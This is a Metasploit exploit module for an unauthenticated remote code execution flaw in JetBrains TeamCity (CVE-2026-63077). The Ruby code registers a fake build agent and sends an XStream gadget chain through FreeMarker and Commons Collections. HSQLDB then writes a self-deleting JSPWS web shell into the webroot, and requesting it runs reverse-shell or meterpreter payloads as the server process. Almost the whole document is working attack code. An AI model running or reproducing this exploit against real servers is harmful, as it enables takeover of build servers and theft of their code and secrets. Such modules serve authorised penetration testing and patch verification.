JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling
          protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response
          that causes TeamCity to deserialize an attacker-controlled object graph.

          The object graph uses FreeMarker and Commons Collections to invoke BasicDataSource.getConnection(). HSQLDB
          initialization statements then write a one-shot JSPWS file to the TeamCity webroot. Requesting the JSPWS file
          executes the payload with the privileges of the TeamCity server process, deletes the JSPWS source file, and
          removes the build agent registered by the module.

          This vulnerability was patched in TeamCity version 2025.11.7, and version 2026.1.3.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Antoni Tremblay', # Discovery
          'sfewer-r7' # Analysis, PoC, and Metasploit module
        ],
        'References' => [
          ['CVE', '2026-63077'],
          ['URL', 'https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/'],
          ['URL', 'https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/'],
          ['URL', 'https://github.com/sfewer-r7/CVE-2026-63077/']
        ],
        'DisclosureDate' => '2026-07-27',
        'Privileged' => false, # TeamCity may run as root or SYSTEM, but may also be a lower priv service account.
        # Tested against:
        # * TeamCity 2026.1.2 (build 222647) running on Windows Server 2025
        'Targets' => [
          [
            'Java Server Page',
            # Tested with payloads (on both Windows and Linux):
            # * java/jsp_shell_reverse_tcp
            {
              'Arch' => ARCH_JAVA,
              'Platform' => ['win', 'unix', 'linux']
            }
          ],
          [
            'Windows Command',
            # Tested with payloads:
            # * cmd/windows/http/x64/meterpreter_reverse_tcp
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'Payload' => {
                'BadChars' => "\r\n\"\\'"
              }
            }
          ],
          [
            'Linux Command',
            # Tested with payloads:
            # * cmd/linux/http/x64/meterpreter_reverse_tcp
            # * cmd/unix/reverse_bash
            # * cmd/unix/reverse_netcat
            {
              'Arch' => ARCH_CMD,
              'Platform' => ['unix', 'linux'],
              'Payload' => {
                'BadChars' => "\r\n\"\\'"
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(8111),
      OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/'])
    ])

    register_advanced_options([
      # HSQLDB's SCRIPT statement resolves this path from the TeamCity server process working directory.
      OptString.new('WebRootRelative', [true, 'The TeamCity webroot relative to the server process working directory', '../webapps/ROOT'])
    ])
  end

  def check
    # login.html is available without authentication and exposes both the product headers and version string we need.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login.html')
    )

    return CheckCode::Unknown('Connection failed') unless res

    # Either marker is sufficient because both the cluster node header and session cookie are specific to TeamCity.
    teamcity_detected = res.headers.include?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')

    return CheckCode::Unknown('The target does not appear to be JetBrains TeamCity') unless teamcity_detected

    # TeamCity renders versions as YYYY.release[.patch] followed by its numeric build identifier.
    version_match = res.body.match(/(?<version>\d{4}\.\d+(?:\.\d+)?) \(build (?<build>\d+)\)/)

    return CheckCode::Detected('JetBrains TeamCity detected, but the version could not be determined') unless version_match

    version = Rex::Version.new(version_match[:version])

    detected = "JetBrains TeamCity #{version} (build #{version_match[:build]}) detected."

    # The 2025.11 and 2026.1 release branches have different first fixed versions. Bound the 2025.11 comparison so a
    # later 2026.1 release is judged against its own fix rather than the numerically lower 2025.11.7 version.
    if version >= Rex::Version.new('2026.1.3') || (version >= Rex::Version.new('2025.11.7') && version < Rex::Version.new('2026.1.0'))
      return CheckCode::Safe(detected)
    end

    # NOTE: The security patch plugin for TeamCity 2017.1 and later is not detectable via the HTTP interface, so we
    # cannot reliably determine if the target is patched. We assume that any vulnerable version is exploitable.
    # https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
    CheckCode::Appears(detected)
  end

  def exploit
    registration_xml = build_registration_xml

    print_status('Registering a TeamCity build agent')

    # We first need to register a new agent, so we can retrieve an agent id, required to later reach the unsafe
    # deserialization endpoint.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'register'),
      'ctype' => 'application/xml',
      'data' => registration_xml
    )

    fail_with(Failure::Unreachable, 'No response received while registering the build agent') unless res

    fail_with(Failure::UnexpectedReply, "Agent registration returned HTTP #{res.code}") unless res.code == 200

    # The polling endpoint accepts commands only when they carry the session identifier returned at registration. Its
    # numeric prefix identifies the agent so the JSP payload can later remove the corresponding TeamCity database record.
    agent_session_id = res.headers['TeamCity-AgentSessionId']

    vprint_status("Registered new agent with a TeamCity-AgentSessionId: #{agent_session_id}")

    fail_with(Failure::UnexpectedReply, 'Agent registration did not return a TeamCity-AgentSessionId header') if agent_session_id.blank?

    agent_id = agent_id_from_session(agent_session_id)

    print_status('Sending the XStream deserialization payload')

    deserialization_payload = build_deserialization_payload(agent_id)

    # Trigger the vulnerability and execute a gadget chain via unsafe deserialization in the error endpoint. The
    # gadget chain will write a malicious JSP file to disk (under a .jspws extension). We use this JSP file to execute
    # a Metasploit JSP or CMD payload.
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'commands', 'error'),
      'ctype' => 'application/xml',
      'headers' => {
        'TeamCity-AgentSessionId' => agent_session_id,
        # TeamCity expects an agent command identifier; a random value avoids collisions with other polling traffic.
        'TeamCity-AgentCommandId' => rand(100_000..999_999).to_s
      },
      'data' => deserialization_payload[:payload_xml]
    )

    fail_with(Failure::Unreachable, 'No response received from the deserialization endpoint') unless res

    # We expect an HTTP 500 response after the unsafe deserialization occurs.
    fail_with(Failure::UnexpectedReply, "Deserialization endpoint returned HTTP #{res.code}") unless res.code == 500

    print_status("Requesting the JSPWS payload at #{deserialization_payload[:jsp_uri]}")

    # Now we can trigger the JSP payload we dropped.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, deserialization_payload[:jsp_uri])
    )

    fail_with(Failure::Unreachable, 'No response received while requesting the JSPWS payload') unless res

    # The unique response token is emitted only after payload execution has succeeded.
    unless res.code == 200 && res.body.include?(deserialization_payload[:response_token])
      fail_with(Failure::UnexpectedReply, "The JSPWS payload did not return the expected response token (HTTP #{res.code})")
    end

    print_good('The JSPWS payload was executed successfully')
  end

  # Extracts the numeric agent identifier from TeamCity's <agent id>:<authorization token> polling-session format. The
  # JSP needs the server-assigned identifier to remove only the agent registered by this exploit attempt.
  def agent_id_from_session(agent_session_id)
    agent_id_match = agent_session_id.match(/\A(?<agent_id>[1-9][0-9]*):.+\z/)

    fail_with(Failure::UnexpectedReply, 'Agent registration returned an invalid TeamCity-AgentSessionId header') unless agent_id_match

    agent_id_match[:agent_id].to_i
  end

  # Builds the minimal agentDetails document needed to obtain an unauthenticated agent session.
  def build_registration_xml
    identifiers = Rex::RandomIdentifier::Generator.new

    Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
      xml.agentDetails(
        'agentName' => identifiers[:agent_name],
        'agentAddress' => '127.0.0.1',
        'agentPort' => rand(1024..65_535).to_s,
        'authToken' => identifiers[:auth_token],
        'pingCode' => ''
      ) do
        xml.alternativeAddresses
        xml.availableRunners
        xml.availableVcs
        xml.buildParameters
        xml.configParameters
      end
    end.to_xml
  end

  # Builds the XStream object graph that reaches BasicDataSource#getConnection and returns the XML with the generated
  # JSP URI and response token.
  #
  # For additional details of the object graph and its reference paths, see:
  # https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
  def build_deserialization_payload(agent_id)
    # Java accepts forward slashes on Windows and Unix. Normalize the path separators and remove trailing separators
    # before appending the generated JSP filename.
    webroot_relative = datastore['WebRootRelative'].tr('\\', '/').sub(%r{/+\z}, '')

    # Reject values that cannot represent the intended single filesystem path before placing the value in SQL.
    if webroot_relative.empty? || webroot_relative.match?(/[\x00\r\n]/)
      fail_with(Failure::BadConfig, 'WebRootRelative must identify a directory on a single line')
    end

    identifiers = Rex::RandomIdentifier::Generator.new

    # TeamCity maps the .jspws extension to its JSP servlet. We cannot execute a .jsp file directly as the
    # TeamCity servlet that handles .jsp will block it, so we target .jspws instead.
    filename = "#{identifiers[:file_id]}.jspws"

    # The URI is both embedded in the JSP self-deletion code and returned to #exploit for the trigger request.
    jsp_uri = "/#{filename}"

    # Generate the selected ARCH_JAVA or ARCH_CMD JSP, a response token that confirms execution, and agent cleanup.
    jsp, response_token = build_jsp(jsp_uri, agent_id)

    # Escape the JSP so we can write it into the SQL (and calculate the VARCHAR length).
    jsp_string_literal = hsqldb_string_literal(jsp)

    # HSQLDB resolves this relative filename when the SCRIPT statement writes the database contents into the webroot.
    output_path = "#{webroot_relative}/#{filename}"

    # The first two statements store the JSP in a table row. SCRIPT then serializes that row into a SQL/JSP polyglot at
    # the chosen webroot path. The escaped literal length conservatively guarantees the VARCHAR can hold the decoded JSP.
    init_sql = [
      "CREATE TABLE IF NOT EXISTS #{identifiers[:table_name]}(#{identifiers[:column_name]} VARCHAR(#{jsp_string_literal.length}))",
      "INSERT INTO #{identifiers[:table_name]} VALUES (#{jsp_string_literal})",
      "SCRIPT #{hsqldb_string_literal(output_path)}"
    ]

    payload_xml = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
      xml.send('linked-hash-map') do
        # Stage 1 uses an allowed TeamCity Throwable hierarchy to allocate otherwise denied HSQL storage and
        # BasicDataSource objects without introducing another class node that XStream would reject.
        xml.entry do
          xml.string(identifiers[:first_map_entry])
          xml.send('jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException') do
            xml.send('outer-class') do
              xml.myHSQLStorage do
                xml.myDataSource do
                  # Recreate the serialized DBCP BasicDataSource state expected by the target version. The in-memory
                  # HSQLDB URL avoids relying on an existing database and connectionInitSqls carries the file-write SQL.
                  xml.defaultTransactionIsolation('-1')
                  xml.cacheState('true')
                  xml.driverClassName('org.hsqldb.jdbc.JDBCDriver')
                  xml.lifo('true')
                  xml.maxTotal('8')
                  xml.maxIdle('8')
                  xml.minIdle('0')
                  xml.initialSize('0')
                  xml.maxWaitMillis('-1')
                  xml.poolPreparedStatements('false')
                  xml.clearStatementPoolOnReturn('false')
                  xml.maxOpenPreparedStatements('-1')
                  xml.testOnCreate('false')
                  xml.testOnBorrow('true')
                  xml.testOnReturn('false')
                  xml.timeBetweenEvictionRunsMillis('-1')
                  xml.numTestsPerEvictionRun('3')
                  xml.minEvictableIdleTimeMillis('1800000')
                  xml.softMinEvictableIdleTimeMillis('-1')
                  xml.evictionPolicyClassName('org.apache.commons.pool2.impl.DefaultEvictionPolicy')
                  xml.testWhileIdle('false')
                  xml.password
                  xml.url("jdbc:hsqldb:mem:#{identifiers[:database_name]}")
                  xml.userName('SA')
                  xml.validationQueryTimeoutSeconds('-1')
                  # DBCP executes these statements when the final gadget requests a new connection.
                  xml.connectionInitSqls do
                    init_sql.each { |statement| xml.string(statement) }
                  end
                  xml.accessToUnderlyingConnectionAllowed('false')
                  xml.maxConnLifetimeMillis('-1')
                  xml.logExpiredConnections('true')
                  xml.autoCommitOnReturn('true')
                  xml.rollbackOnReturn('true')
                  xml.fastFailValidation('false')
                  xml.connectionProperties
                  xml.closed('false')
                end
                xml.myStopped('false')
                xml.myDatabaseOpen('false')
              end
            end
          end
        end

        # Stage 2 reconstructs FreeMarker wrappers and uses reference-only nodes to relocate the existing
        # BasicDataSource into a BooleanModel without causing XStream to perform another denied type check.
        xml.entry do
          xml.string(identifiers[:second_map_entry])
          xml.send('freemarker.ext.beans.HashAdapter') do
            xml.wrapper do
              xml.sharedIntrospectionLock
              xml.classIntrospector do
                xml.exposureLevel('0')
                xml.exposeFields('false')
                xml.treatDefaultMethodsAsBeanMembers('false')
                xml.incompatibleImprovements do
                  xml.major('2')
                  xml.minor('3')
                  xml.micro('0')
                  xml.intValue('2003000')
                  xml.calculatedStringValue('2.3.0')
                  xml.hashCode('0')
                end
                xml.hasSharedInstanceRestrictions('false')
                xml.shared('false')
                # Reuse the lock object already created in the wrapper to preserve FreeMarker's expected object identity.
                xml.sharedLock('reference' => '../../sharedIntrospectionLock')
                xml.cache
                xml.cacheClassNames
                xml.classIntrospectionsInProgress
                xml.modelFactories
                xml.clearingCounter('0')
              end
              xml.falseModel do
                # Point the model at the Stage 1 BasicDataSource; BeanModel will later expose its connection property.
                xml.object('reference' => '../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource')
                # Reuse the enclosing BeansWrapper rather than instantiating a second wrapper with inconsistent state.
                xml.wrapper('reference' => '../..')
                xml.value('false')
              end
              xml.writeProtected('false')
              xml.defaultDateType('0')
              xml.methodsShadowItems('true')
              xml.simpleMapWrapper('false')
              xml.strict('false')
              xml.preferIndexedReadMethod('true')
              xml.incompatibleImprovements('reference' => '../classIntrospector/incompatibleImprovements')
            end
            # HashAdapter delegates map lookups to this model, which now wraps the BasicDataSource object.
            xml.model('reference' => '../wrapper/falseModel')
          end
        end

        # Stage 3 places TiedMapEntry in a HashSet. Recomputing its hash asks HashAdapter for the "connection" key,
        # causing FreeMarker to invoke BasicDataSource#getConnection and execute the HSQLDB initialization statements.
        xml.entry do
          xml.string(identifiers[:third_map_entry])
          xml.set do
            xml.send('org.apache.commons.collections.keyvalue.TiedMapEntry') do
              # Reference the Stage 2 adapter so deserialization follows the already-approved object graph.
              xml.send('map', 'class' => 'freemarker.ext.beans.HashAdapter', 'reference' => '../../../../entry[2]/freemarker.ext.beans.HashAdapter')
              xml.key('connection', 'class' => 'string')
            end
          end
        end
      end
    end.to_xml

    # The caller needs the XML to trigger deserialization and the URI/token pair to trigger and confirm code execution.
    { payload_xml: payload_xml, jsp_uri: jsp_uri, response_token: response_token }
  end

  # Produces the JSP source appropriate for the selected target. ARCH_JAVA payloads are already complete JSP documents;
  # ARCH_CMD payloads must first be embedded in a Runtime.exec wrapper before receiving the common cleanup trailer.
  def build_jsp(jsp_uri, agent_id)
    jsp_identifiers = Rex::RandomIdentifier::Generator.new(language: :jsp)

    if target['Arch'] == ARCH_JAVA
      return build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
    end

    build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
  end

  # Wraps an ARCH_CMD payload in a small JSP scriptlet that invokes the target operating system's command interpreter.
  # The wrapper is required because command payloads are shell text rather than directly executable JSP source.
  def build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, command)
    executable, argument = target['Platform'] == 'win' ? ['cmd.exe', '/c'] : ['/bin/sh', '-c']

    jsp_payload = <<~JSP
      <%
          java.lang.String[] #{jsp_identifiers[:command_array]} = new java.lang.String[]{"#{executable}", "#{argument}", "#{command}"};
          java.lang.Runtime.getRuntime().exec(#{jsp_identifiers[:command_array]});
      %>
    JSP

    build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
  end

  # Appends the response token printing, self-deletion, and agent cleanup to a JSP payload. The response token is
  # deliberately emitted first, so receiving it confirms payload execution, before anything else is attempted.
  def build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
    jsp = <<~JSP
      #{jsp_payload}
      <%
        out.print("#{jsp_identifiers[:response_token]}");

        java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("#{jsp_uri}")));

        final org.springframework.web.context.WebApplicationContext #{jsp_identifiers[:spring_context]} =
          jetbrains.buildServer.maintenance.TeamCityDispatcherServlet.SPRING_CONTEXT;

        if (#{jsp_identifiers[:spring_context]} != null) {
          final jetbrains.buildServer.serverSide.SecurityContextEx #{jsp_identifiers[:security_context]} =
            (jetbrains.buildServer.serverSide.SecurityContextEx) #{jsp_identifiers[:spring_context]}.getBean("securityContext");

          final jetbrains.buildServer.serverSide.BuildAgentManagerEx #{jsp_identifiers[:agent_manager]} =
            (jetbrains.buildServer.serverSide.BuildAgentManagerEx) #{jsp_identifiers[:spring_context]}.getBean("agentManager");

          #{jsp_identifiers[:security_context]}.runAsSystemUnchecked(
            new jetbrains.buildServer.serverSide.SecurityContextEx.RunAsAction() {
              public void run() throws java.lang.Throwable {
                #{jsp_identifiers[:agent_manager]}.unregisterAgent(#{agent_id}, "");

                jetbrains.buildServer.serverSide.BuildAgentEx #{jsp_identifiers[:agent]} =
                  #{jsp_identifiers[:agent_manager]}.findAgentById(#{agent_id}, true);

                if (#{jsp_identifiers[:agent]} != null) {
                  #{jsp_identifiers[:agent_manager]}.removeAgent(#{jsp_identifiers[:agent]}, null);
                }
              }
            }
          );
        }
      %>
    JSP

    [
      # The HSQLDB SCRIPT output writes each table row on one physical line. Compact the JSP so the SQL/JSP polyglot
      # remains a single valid JSP after the database serializes it.
      jsp.lines.map(&:strip).reject(&:empty?).join(' '),
      jsp_identifiers[:response_token]
    ]
  end

  # Quotes an arbitrary value as an HSQLDB string literal. SQL represents an embedded single quote by doubling it, so
  # this helper is required before JSP source or filesystem paths are placed into initialization statements.
  def hsqldb_string_literal(value)
    "'#{value.gsub("'", "''")}'"
  end
end